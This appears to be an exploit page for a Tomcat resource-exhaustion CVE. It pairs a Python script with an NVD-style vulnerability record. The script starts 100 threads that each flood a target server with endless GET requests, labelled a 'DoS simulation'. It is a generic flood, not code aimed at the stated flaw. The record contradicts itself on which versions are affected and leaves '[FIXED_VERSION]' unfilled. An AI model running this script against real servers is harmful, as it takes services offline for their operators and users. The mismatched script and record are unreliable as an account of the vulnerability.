CVE-2026-41284

import requests import threading # Target URL configuration target_url = "http://target-tomcat-server:8080/" num_threads = 100 def attack(): try: while True: # Sending requests to consume resources requests.get(target_url, timeout=5) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print(f"Starting DoS simulation on {target_url}...") for i in range(num_threads): t = threading.Thread(target=attack) t.start()

{"cve": {"id": "CVE-2026-41284", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:15.933", "lastModified": "2026-05-14T18:59:48.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.\nOlder, unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndIncluding": "7.0.109", "matchCriteriaId": "0D9D0050-8CBC-41DB-9C53-CE7BFF7A3F2D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndIncluding": "8.5.100", "matchCriteriaId": "FF43D0D7-FBF3-4D7A-84C4-47B65A75A524"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.118", "matchCriteriaId": "1E5A897C-91F4-449E-984C-7D693B137EED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndIncluding": "10.0.27", "matchCriteriaId": "A1B15E74-3CBE-438A-AF89-84BFAB3C1639"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.0", "versionEndExcluding": "10.1.55", "matchCriteriaId": "5F289287-8587-4BB3-B4AB-3B5CF4A7D27A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.22", "matchCriteriaId": "03FB799D-A66F-4792-A0CF-16D67BB53F08"}]}]}], "references": [{"url": "https://lists.apache.org/thread/2nvqjr7ovjmvx2vbhb7s61ycd5msc8qc", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/12/12", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}